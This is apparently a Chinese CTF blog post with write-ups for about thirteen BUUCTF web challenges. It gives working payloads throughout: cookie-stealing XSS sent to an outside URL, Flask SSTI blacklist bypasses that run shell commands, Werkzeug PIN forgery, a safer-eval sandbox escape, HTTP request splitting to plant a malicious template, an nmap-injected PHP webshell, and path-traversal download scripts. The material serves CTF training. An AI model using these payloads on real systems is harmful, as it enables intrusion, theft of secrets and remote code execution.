[toc]
菜鸡又在buu上刷了点题,这里记录一下30道web的解题思路。。。。。。
0x01 [BJDCTF 2nd]xss之光 扫描目录,有.git
1 inet 192.168.190.133 netmask 255.255.255.0 broadcast 192.168.190.255
用GitHack下载下来
1 2 3 <?php $a = $_GET ['yds_is_so_beautiful' ];echo unserialize ($a );
就一个index.php
1 ?yds_is_so_beautiful=s:26:"<script > alert(1);</script > ";
看一看cookies
1 ?yds_is_so_beautiful=s:78:"<script > window .open ('https://www.baidu.com?cookie=' %2bdocument.cookie );</script > ";
跳转后得到flag
1 flag%7Ba8086c07-33b5 -4882 -bef0-9487226e67ff%7D%0A
1 flag{a8086c07-33b5 -4882 -bef0-9487226e67ff}
0x02 [BJDCTF2020]EasySearch
两个点可以输入
抓包看看
1 X -Powered-By: PHP/7 .1 .27
看看报错信息
只能扫扫看
有个 备份文件
看一看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php ob_start (); function get_hash ( ) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )]; $content = uniqid ().$random ; return sha1 ($content ); } header ("Content-Type: text/html;charset=utf-8" ); *** if (isset ($_POST ['username' ]) and $_POST ['username' ] != '' ) { $admin = '6d0bc1' ; if ( $admin == substr (md5 ($_POST ['password' ]),0 ,6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" .get_hash ().".shtml" ; $shtml = fopen ($file_shtml , "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST ['username' ].'</h1> *** ***' ; fwrite ($shtml ,$text ); fclose ($shtml ); *** echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; }else { *** } *** ?>
首先要通过 $_POST[‘username’] 进行 md5 碰撞,使得
1 $admin == substr (md5 ($_POST['password' ] ),0 ,6 ))
然后要通过 $_POST[‘username’] 进行 ssi 注入,最后访问对应的 .shtml 来 getshell
1 2 3 4 5 6 7 8 9 <?php $admin = '6d0bc1' ; $p = 0 ; while (true ){ if ( $admin == substr (md5 ($p ),0 ,6 )) { echo "[+]done >>> " .$p ."\n" ; } $p += 1 ; }
1 username=&password=2020666
f12 看看
看看 header
1 Url_is_here: public /45 a8331d33a62e49b9731a04cede880c37f3cd2b.shtml
访问看看
反弹shell
找到 flag
1 flag {69156764 -5 e95-428 c-8 cbb-246270 f50424}
0x03 [GYCTF2020]FlaskApp 在decode 随便输入
可以看到开了 debug 模式
用到 render_template_string ,有ssti
试试看
没问题
那就开始注入
先确定一波它拦截了什么
跑个脚本,找找 __builtins__
1 2 {{().__class__.__mro__ [1].__subclasses__()[75].__init__.__globals__}} e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX319
用 open 来读读源码,估计是app.py
1 2 3 b64encode(r""" {{().__class__.__mro__ [1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']("app.py" ).read()}} """) e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ29wZW4nXSgiYXBwLnB5IikucmVhZCgpfX0=
整理一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from flaskimport Flask, render_template_string from flaskimport render_template, request, flash, redirect, url_for from flask_wtfimport FlaskForm from wtformsimport StringField, SubmitField from wtforms.validatorsimport DataRequired from flask_bootstrapimport Bootstrapimport base64 app = Flask(__name__) app.config['SECRET_KEY' ] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm (FlaskForm ): text = StringField('BASE64加密' , validators = [DataRequired()]) submit = SubmitField('提交' ) class NameForm1 (FlaskForm ): text = StringField('BASE64解密' , validators = [DataRequired()]) submit = SubmitField('提交' ) def waf (str ): black_list = ["flag" , "os" , "system" , "popen" , "import" , "eval" , "chr" , "request" , "subprocess" , "commands" , "socket" , "hex" , "base64" , "*" , "?" ] for x in black_list: if x in str .lower(): return 1 @app.route('/hint' , methods = ['GET' ] ) def hint (): txt = "失败乃成功之母!!" return render_template("hint.html" , txt = txt) @app.route('/' , methods = ['POST' , 'GET' ] ) def encode (): if request.values.get('text' ): text = request.values.get("text" ) text_decode = base64.b64encode(text.encode()) tmp = "结果 :{0}" .format (str (text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode' )) else : text = "" form = NameForm(text) return render_template("index.html" , form = form, method = "加密" , img = "flask.png" ) @app.route('/decode' , methods = ['POST' , 'GET' ] ) def decode (): if request.values.get('text' ): text = request.values.get("text" ) text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}" .format (text_decode.decode()) if waf(tmp): flash("no no no !!" ) return redirect(url_for('decode' )) res = render_template_string(tmp) flash(res) return redirect(url_for('decode' )) else : text = "" form = NameForm1(text) return render_template("index.html" , form = form, method = "解密" , img = "flask1.png" ) @app.route('/<name>' , methods = ['GET' ] ) def not_found (name ): return render_template("404.html" , name = name) if __name__ == '__main__' : app.run(host = "0.0.0.0" , port = 5000 , debug = True )
1 black_list = ["flag" , "os" , "system" , "popen" , "import" , "eval" , "chr" , "request" , "subprocess" , "commands" , "socket" , "hex" , "base64" , "*" , "?" ]
但是可以通过字符拼接绕过
1 2 3 b64encode(r""" {{().__class__.__mro__ [1].__subclasses__()[75].__init__.__globals__['__builtins__']['__impor'+'t__']('o' +'s' )['po'+'pen']("ls" ).read()}} """) e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wb3InKyd0X18nXSgnbycrJ3MnKVsncG8nKydwZW4nXSgibHMiKS5yZWFkKCl9fQ==
接下来就去找flag
1 "cat /this_is_the_fl" + "ag.txt"
1 flag {44 a183de-8167 -4881 -8161 -492418541045 }
也可以用 pin 来 rce
在hint 中就有提示
试试看
先确定要素
app.py 的位置
1 /usr/ local/lib/ python3.7 /site-packages/ flask/app.py
读一读 /etc/passwd
1 2 3 b64encode(r""" {{().__class__.__mro__ [1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/etc/passwd' ).read()}} """) e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ29wZW4nXSgnL2V0Yy9wYXNzd2QnKS5yZWFkKCl9fQ==
猜测username
1 flaskweb: x: 1000 : 1000 : :/home/flaskweb :/bin/sh
看看 machine-id
1 b64encode(r""" {{().__class__.__mro__ [1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/proc/self/cgroup' ).read()}} """)
1 940 dec83 f9 c 962 beb9 b36e3 ea1998021954 fd83 ce1539 eac285 c 2 d49024 fd3 fb
看看mac地址
1 b64encode(r""" {{().__class__.__mro__ [1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/sys/class/net/eth0/address' ).read()}} """)
处理一下
计算pin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import hashlibfrom itertools import chainprobably_public_bits = [ 'flaskweb' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.7/site-packages/flask/app.py' ] private_bits = [ '2485377864284' , '940dec83f9c962beb9b36e3ea1998021954fd83ce1539eac285c2d49024fd3fb' ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
得到flag
1 flag {44 a183de-8167 -4881 -8161 -492418541045 }
0x04 [CSCCTF 2019 Qual]FlaskLight
很粗糙的一个网站
get 参数,为 search
没有太大问题
这里也没问题
跑个脚本,找可用的模块
发现拦截了 globals
但是可以通过拼接字符串绕过
1 ?search= {{().__class__.__mro__ [1].__subclasses__()[59].__init__["__glob"%2b"als__"]["__builtins__"]["__import__"]("os" ).popen("ls" ).read()}}
找flag
1 flag {b61df7f6-3 e3a-4 edc-89 e3-65 e530575069}
0x05 [RootersCTF2019]I_<3_Flask 感觉没有下手的地方
尝试,发现参数
没有过滤什么
直接跑脚本,找到可用的模块
1 ?name= {{().__class__.__mro__ [1].__subclasses__()[105].__init__.__globals__['__builtins__']['__import__']('os' ).popen('ls' ).read()}}
得到flag
1 flag{aadcb791 -f3 f4 -49 f4 -ad52 -a2 c 9 b538 c 4 ff}
0x06 [pasecactf_2019]flask_ssti
很直白,就是考ssti
但是有拦截
可以绕过
1 2 3 Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; a=__class__; base=__base__; sub=__subclasses__; init=__init__; globals=__globals__; builtins=__builtins__; getitem=__getitem__; eval=eval; import=__import__; popen=popen; read=read nickname= {{()[request|attr("cookies")|attr("get ")("a")] |attr(request |attr("cookies" )|attr("get " )("base" ))|attr(request |attr("cookies" )|attr("get " )("sub" ))()|attr("pop" )(132 )|attr(request |attr("cookies" )|attr("get " )("init" ))|attr(request |attr("cookies" )|attr("get " )("globals" ))|attr(request |attr("cookies" )|attr("get " )("getitem" ))(request |attr("cookies" )|attr("get " )("builtins" ))|attr(request |attr("cookies" )|attr("get " )("getitem" ))(request |attr("cookies" )|attr("get " )("import" ))("os" )|attr(request |attr("cookies" )|attr("get " )("popen" ))("ls /" )|attr(request |attr("cookies" )|attr("get " )("read" ))()}}
找flag
看源码
1 2 3 4 5 6 7 8 9 10 11 def encode (line, key, key2 ): return '' .join(chr (x ^ ord (line[x]) ^ ord (key[::-1 ][x]) ^ ord (key2[x])) for x in range (len (line))) file = open ("/app/flag" , "r" ) flag = file.read() flag = flag[:42 ] app.config['flag' ] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3' , 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT' ) flag = "" os.remove("/app/flag" )
可见flag在 config 当中
1 'flag': '-M7 \x 10 wH6 l0 \x 04 k~\x 0 e\x 1 eXj\x 00 (DIH\x 0 b\x 17 !3 \x 04 i\x 02 XG\x 0 b \x 05 z*Ej\x 13 \x 0 fKG'}
要逆向
实际上,只不过用到了 ^ 的性质,很简单
1 flag {94 bb4285-ac07-4 ab5-88 d9-41 c57a4a250d}
0x07 [CISCN2019 总决赛 Day1 Web3]Flask Message Board 猜测可能会用到 sql 注入,xss
可以通过这个发布东西
发布的东西会直接打印到这里
这个信息,说明网站有对用户的身份进行判断
抓包,发现确实有用到 session
flask的 session 是可以 decode 的
直接到 session 对应的信息
发现一个 admin 页面
提示的很明显了,要用到 伪造session
但是 需要 secret-key
有三个输入点,输入的值都会被储存起来,打印在下方
但是Author的值,每次请求完之后,会打印在这个位置
因而这个点很可能存在 ssti
尝试一下
成功
1 2 'SECRET_KEY': 'll|I11l |il |ll |1 |lIi11il |Il1 |i |l ||lli ||1 |'
还有 secret_key
这样就可以伪造身份了
1 2 3 4 $ python flask_session_cookie_manager2.py encode -t "{'admin':True}" -s "ll|I11l|il|ll|1|lIi11il|Il1|i|l||lli||1|" eyJhZG1pbiI6dHJ1ZX0.YDeQmA .tvL-D6_K81fOh7D2Mc-MAgdC42k
更改session,打开admin
让上传文件
尝试了一下,要求是一个 zip file
源码里面有提示
1 2 /admin/ source_thanos/admin/m odel_download
访问看看
下载得到一个 zip
访问source,得到一堆东西,应该是源码,但是很凌乱
看看 zip 里面的内容
提示说和 tensorflow 有关
不会做,先放着
0x08 [GKCTF2020]EZ三剑客-EzNode nodejs 的题,给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 const express = require ('express' );const bodyParser = require ('body-parser' );const saferEval = require ('safer-eval' ); const fs = require ('fs' );const app = express ();app.use (bodyParser.urlencoded ({ extended : false })); app.use (bodyParser.json ()); app.use ((req, res, next ) => { if (req.path === '/eval' ) { let delay = 60 * 1000 ; console .log (delay); if (Number .isInteger (parseInt (req.query .delay ))) { delay = Math .max (delay, parseInt (req.query .delay )); } const t = setTimeout (() => next (), delay); setTimeout (() => { clearTimeout (t); console .log ('timeout' ); try { res.send ('Timeout!' ); } catch (e) { } }, 1000 ); } else { next (); } }); app.post ('/eval' , function (req, res ) { let response = '' ; if (req.body .e ) { try { response = saferEval (req.body .e ); } catch (e) { response = 'Wrong Wrong Wrong!!!!' ; } } res.send (String (response)); }); app.get ('/source' , function (req, res ) { res.set ('Content-Type' , 'text/javascript;charset=utf-8' ); res.send (fs.readFileSync ('./index.js' )); }); app.get ('/version' , function (req, res ) { res.set ('Content-Type' , 'text/json;charset=utf-8' ); res.send (fs.readFileSync ('./package.json' )); }); app.get ('/' , function (req, res ) { res.set ('Content-Type' , 'text/html;charset=utf-8' ); res.send (fs.readFileSync ('./index.html' )) }) app.listen (80 , '0.0.0.0' , () => { console .log ('Start listening' ) });
1 const saferEval = require ('safer-eval' );
用了个 safer-eval,很可疑
1 2 3 4 5 6 7 8 9 10 11 app.post ('/eval' , function (req, res ) { let response = '' ; if (req.body .e ) { try { response = saferEval (req.body .e ); } catch (e) { response = 'Wrong Wrong Wrong!!!!' ; } } res.send (String (response)); });
访问 /eval 的话每次都会调用的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (req.path === '/eval' ) { let delay = 60 * 1000 ; console .log (delay); if (Number .isInteger (parseInt (req.query .delay ))) { delay = Math .max (delay, parseInt (req.query .delay )); } const t = setTimeout (() => next (), delay); setTimeout (() => { clearTimeout (t); console .log ('timeout' ); try { res.send ('Timeout!' ); } catch (e) { } }, 1000 );
先取 60*1000 和url 中得到的delay 参数的较大的那个,赋值给 delay
然后调用
1 const t = setTimeout (() => next (), delay);
是个异步函数,如果 next() 真的被调用,那么就能执行 safeEval 函数了
setTimeout 第二个参数存在 int 溢出,而且是有符号的int ,所以最大是
所以 2147483647+1 就是负数
因而 next() 就即刻执行了
看看 safeEval 的版本
看看这个项目有没有 能利用的 issue
1 2 3 4 5 const theFunction = function ( ) { const process = clearImmediate.constructor ("return process;" )( ); return process.mainModule .require ("child_process" ).execSync ("whoami" ).toString () }; const untrusted = `(${theFunction} )()` ;
改写这段代码
1 function ( ) {const process = clearImmediate.constructor ("return process;" )( );return process.mainModule .require ("child_process" ).execSync ("nl /*" ).toString ();}()
1 flag{60cb3477-9775 -4111 -9860 -2216323236b9 }
0x09 [GYCTF2020]Node Game 给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 var express = require ('express' );var app = express ();var fs = require ('fs' );var path = require ('path' );var http = require ('http' );var pug = require ('pug' );var morgan = require ('morgan' );const multer = require ('multer' );app.use (multer ({dest : './dist' }).array ('file' )); app.use (morgan ('short' )); app.use ("/uploads" ,express.static (path.join (__dirname, '/uploads' ))) app.use ("/template" ,express.static (path.join (__dirname, '/template' ))) app.get ('/' , function (req, res ) { var action = req.query .action ?req.query .action :"index" ; if ( action.includes ("/" ) || action.includes ("\\" ) ){ res.send ("Errrrr, You have been Blocked" ); } file = path.join (__dirname + '/template/' + action +'.pug' ); var html = pug.renderFile (file); res.send (html); }); app.post ('/file_upload' , function (req, res ){ var ip = req.connection .remoteAddress ; var obj = { msg : '' , } if (!ip.includes ('127.0.0.1' )) { obj.msg ="only admin's ip can use it" res.send (JSON .stringify (obj)); return } fs.readFile (req.files [0 ].path , function (err, data ){ if (err){ obj.msg = 'upload failed' ; res.send (JSON .stringify (obj)); }else { var file_path = '/uploads/' + req.files [0 ].mimetype +"/" ; var file_name = req.files [0 ].originalname var dir_file = __dirname + file_path + file_name if (!fs.existsSync (__dirname + file_path)){ try { fs.mkdirSync (__dirname + file_path) } catch (error) { obj.msg = "file type error" ; res.send (JSON .stringify (obj)); return } } try { fs.writeFileSync (dir_file,data) obj = { msg : 'upload success' , filename : file_path + file_name } } catch (error) { obj.msg = 'upload failed' ; } res.send (JSON .stringify (obj)); } }) }) app.get ('/source' , function (req, res ) { res.sendFile (path.join (__dirname + '/template/source.txt' )); }); app.get ('/core' , function (req, res ) { var q = req.query .q ; var resp = "" ; if (q) { var url = 'http://localhost:8081/source?' + q console .log (url) var trigger = blacklist (url); if (trigger === true ) { res.send ("<p>error occurs!</p>" ); } else { try { http.get (url, function (resp ) { resp.setEncoding ('utf8' ); resp.on ('error' , function (err ) { if (err.code === "ECONNRESET" ) { console .log ("Timeout occurs" ); return ; } }); resp.on ('data' , function (chunk ) { try { resps = chunk.toString (); res.send (resps); }catch (e) { res.send (e.message ); } }).on ('error' , (e ) => { res.send (e.message );}); }); } catch (error) { console .log (error); } } } else { res.send ("search param 'q' missing!" ); } }) function blacklist (url ) { var evilwords = ["global" , "process" ,"mainModule" ,"require" ,"root" ,"child_process" ,"exec" ,"\"" ,"'" ,"!" ]; var arrayLen = evilwords.length ; for (var i = 0 ; i < arrayLen; i++) { const trigger = url.includes (evilwords[i]); if (trigger === true ) { return true } } } var server = app.listen (8081 , function ( ) { var host = server.address ().address var port = server.address ().port console .log ("Example app listening at http://%s:%s" , host, port) })
访问 / 的时候,可以传入一个 action 参数,最后会执行
1 res.send (pug.renderFile (__dirname+"/template/" +action+".pug" ))
也就是说渲染哪个 模板是自己决定的
而 /file_upload 可以上传文件,最后文件的位置
1 __dirname+"/uploads/" +mimetype+"/" +filename
而已知 fs.writeFileSync(dir_file,data)
函数是支持目录穿越的,即 文件路径可以带 ..
所以可以往 /template里面写个模板,使得能够任意命令执行
满足 这个条件 ip.includes('127.0.0.1')
,就可以 上传文件
而 /core 这里可以做一个 get 请求,url 为
1 'http://localhost:8081/source?' + req.query .q
实际上任何一个http 请求,重要的是 http 请求报文,nodejs的 get 方法也一样,会根据 url 写一个 报文,然后封装到 TCP报文段里面
而 服务器软件,接收的实际上是 HTTP 报文流,看不出来两段 HTTP 报文是不是来自同一个 TCP 报文段,所以可以考虑作假 HTTP 报文
nodejs 对于url 中的内容还有 post data ,都会进行 latin1 编码后,写入HTTP报文
但是众所周知,latin1 编码的 code point 的范围是 0x00~0xff ,字符串中如果有字符的 code point 大于 0xff ,不同版本的 nodejs 会有不同的处理方法
如果版本 小于等于 v8.0.2 ,对于 code point 大于 0xff 的字符,会截断 code point 为 一个 byte,然后再latin1 编码
比如,如果一个字符是 \u010a
即这个字符的code point 是 0x010a
,则这个字符会被编码成 0x0a
,这个 0x0a
最终写入 HTTP 报文中
访问 /core,考虑 req.query.q
无论是用 python 的 requests 库、还是 nodejs 的 http.get 发出对 \core 的 http 请求,对于要写入 HTTP 请求的内容,都会在写入之前进行 utf-8 编码
而 nodejs server 对于接受到的 http 报文,如果要解码,也是默认用的 utf-8
所以从 得到 q
到制作 url
1 var url = 'http://localhost:8081/source?' + q
q 并不会发生变化
这个 url 中的内容,会被处理后,写入 一个 HTTP 报文,然后发送出去
写个 python 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestspayload = """ HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive POST /file_upload HTTP/1.1 Host: 127.0.0.1 Content-Length: {} Content-Type: multipart/form-data; boundary=---------------------------123582468544305103567071242 {}""" .replace('\n' , '\r\n' )body = """-----------------------------123582468544305103567071242 Content-Disposition: form-data; name="file"; filename="y.pug" Content-Type: ../template -var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()") -return x -----------------------------123582468544305103567071242-- """ .replace('\n' , '\r\n' )payload = payload.format (len (body), body) \ .replace('+' , '\u012b' ) \ .replace(' ' , '\u0120' ) \ .replace('\r\n' , '\u010d\u010a' ) \ .replace('"' , '\u0122' ) \ .replace("'" , '\u0a27' ) \ .replace('[' , '\u015b' ) \ .replace(']' , '\u015d' ) \ + 'GET' + '\u0120' + '/' requests.get( 'http://168fc17e-d06b-4823-9c47-120afcebce25.node3.buuoj.cn/core?q=' + payload) print (requests.get( 'http://168fc17e-d06b-4823-9c47-120afcebce25.node3.buuoj.cn/?action=y' ).text)
1 flag {5 ed37097-25 e1-46 fe-bf2f-4 d1d7e719232}
给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET ['host' ])) { highlight_file (__FILE__ ); } else { $host = $_GET ['host' ]; $host = escapeshellarg ($host ); $host = escapeshellcmd ($host ); $sandbox = md5 ("glzjin" . $_SERVER ['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox ; @mkdir ($sandbox ); chdir ($sandbox ); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host ); }
最后用到了 nmap 这个工具
1 "nmap -T5 -sT -Pn --host-timeout 2 -F " .$host
如果 host 只是个域名的话,也就没什么特别功能,只是端口扫描而已
试试看 127.0.0.1,看到只有 80端口打开
试试看绕过 这个
1 2 $host = escapeshellarg ($host );$host = escapeshellcmd ($host );
host 是 ‘hellow’orld’
1 system ("nmap -T5 -sT -Pn --host-timeout 2 -F 'helloworld' " )
escapeshellarg($host) 返回的值为
escapeshellcmd($host) 返回的值为
相当于 sh 执行
1 nmap -T5 -sT -Pn --host-timeout 2 -F '' \ '' hellow'\' 'orld ' \' ''
\ 用于多行解释,实际上可以忽略
也就相当于
1 nmap -T5 -sT -Pn --host-timeout 2 -F '' '' helloworld '\' ''
helloworld 将作为 nmap 执行中的参数
将 helloworld 替换成
1 -oG shell.php <?php eval ($_GET ["kkk" ])?>
因为 escapeshellarg 对双引号不处理,而escapeshellcmd 对成对的双引号也不处理,所以这里用 “
写个马
1 http://59a80862-8fa3-48eb-8819-cb832f55c86b.node3.buuoj.cn/?host=' -oG shell.php <?php eval ($_GET ["kkk" ]);?> '
得知进程工作目录是
1 92 fc4 adcb333 af4 ab6 c 6 c 5599 d4 f6 cd7
所以马的位置
1 92 fc4 adcb333 af4 ab6 c 6 c 5599 d4 f6 cd7 /shell.php
找到flag
1 flag {322 af07f-aa11-4546 -a32f-cf220284131a}
0x0b [RoarCTF 2019]Easy Java java 开发的,猜测是 hql 注入
找到一个 Download页面
看源码有个路径
1 url (../../images/pwd.png )
可见有个 images 文件夹
尝试之后,发现这个文件实际位置
既然是java 开发的,就去找配置文件
尝试了一下,在Download页面,只有用 post 请求的时候才能真正下载文件
看看 help.docx
好像啥也没有
跑个脚本找 web.xml
1 2 3 4 5 6 7 8 9 10 11 import requestsurl = "http://380ad314-363e-4cfa-b535-868530d6b346.node3.buuoj.cn/Download" s = requests.session() file_name = "WEB-INF/web.xml" method = {0 :"get" ,1 :"post" } m = method[1 ] for i in range (10 ): payload = "../" *i+file_name data = {"filename" :payload} resp = s.get(url=url,params=data) if m==method[0 ] else s.post(url=url,data=data) print (resp.status_code,len (resp.content),payload)
找到 位置
下载下来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns ="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version ="4.0" > <welcome-file-list > <welcome-file > Index</welcome-file > </welcome-file-list > <servlet > <servlet-name > IndexController</servlet-name > <servlet-class > com.wm.ctf.IndexController</servlet-class > </servlet > <servlet-mapping > <servlet-name > IndexController</servlet-name > <url-pattern > /Index</url-pattern > </servlet-mapping > <servlet > <servlet-name > LoginController</servlet-name > <servlet-class > com.wm.ctf.LoginController</servlet-class > </servlet > <servlet-mapping > <servlet-name > LoginController</servlet-name > <url-pattern > /Login</url-pattern > </servlet-mapping > <servlet > <servlet-name > DownloadController</servlet-name > <servlet-class > com.wm.ctf.DownloadController</servlet-class > </servlet > <servlet-mapping > <servlet-name > DownloadController</servlet-name > <url-pattern > /Download</url-pattern > </servlet-mapping > <servlet > <servlet-name > FlagController</servlet-name > <servlet-class > com.wm.ctf.FlagController</servlet-class > </servlet > <servlet-mapping > <servlet-name > FlagController</servlet-name > <url-pattern > /Flag</url-pattern > </servlet-mapping > </web-app >
有个 /Flag,有个/Index
去看看
/Flag 报错了
1 java.lang.NoClassDefFoundError: com /wm/ctf/FlagController (wrong name: FlagController)
没什么信息
去把class 文件下载下来,反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsimport osurl = "http://ec3b1da8-9db0-4304-8adc-cd21b6b1b4fd.node3.buuoj.cn/Download" session = requests.session() method = {0 :"get" ,1 :"post" } m = method[1 ] classes = ["com.wm.ctf.LoginController" ,"com.wm.ctf.DownloadController" ,"com.wm.ctf.FlagController" ] for c in classes: f = c.replace("." ,"/" )+".class" payload = "WEB-INF/classes/" +f data = {"filename" :payload} resp = session.get(url=url,params=data) if m==method[0 ] else session.post(url=url,data=data) print (resp.status_code,">>>>" ,payload) if resp.status_code == 200 : d = "/" .join(c.split("." )[:-1 ]) if not os.path.exists(d): os.makedirs(d) with open (f,"wb" ) as f: f.write(resp.content) print ("done!!!" )
得到 class 文件
拖进 jd-gui 中
很奇怪,拖入文件夹并不能反编译,但是如果拖入单个文件,整个文件夹就能被反编译
看到有个 flag,用 basse64解码
1 flag {e2b9d804-1091 -4 e10-8392 -ff053428809d}
0x0c [BJDCTF2020]Mark loves cat 扫一扫
扫到 .git,用GitHack 走一波
有个 flag.php
1 2 3 <?php $flag = file_get_contents ('/flag' );
而在 index.php 当中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; } foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;
要得到 flag,就要保证 exit 函数不会调用
第一个 foreach
1 2 3 foreach ($_POST as $x => $y ){ $$x = $y ; }
相当于 根据 post data 给出了变量名和其对应的值
所以 post data 中不能有 名为 flag 的key
第二个 foreach
1 2 3 foreach ($_GET as $x => $y ){ $$x = $$y ; }
相当于 根据query string ,给出了变量名和其对应值,这个值来自另外的变量
第三个 foreach
1 2 3 4 5 foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } }
query string 中,所有key ,要么为 flag, 要么 不要和 $_GET[“flag”] 强相等
下一个 if
1 2 3 if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); }
post data 和 query string 中要有一个 key 为 flag
最后一个 if
1 2 3 if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); }
$_POST[“flag”] 不能强等于 “flag”
$_GET[“flag”] 不能强等于 “flag”
正常的思路,是绕过重重判断,最后执行 echo
但是 exit函数实际上也能把 变量值带出来,打印到页面上
在这个判断,调用了 exit
1 2 3 if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); }
从而把 flag 带了出来
1 flag{8af65832-81fc-44b1 -aa62-2844a12627ce}
0x0d [BJDCTF2020]The mystery of ip 扫一扫
有个 flag.php,但是点进去之后,是打印了个 ip
看看 hint.php
猜测后台可能是用了 $_SERVER[“REMOTE_ADDR”]
也可能是 $_SERVER[‘HTTP_X_FORWARDED_FOR’]
也可能是 $_SERVER[‘HTTP_CLENT_IP’]
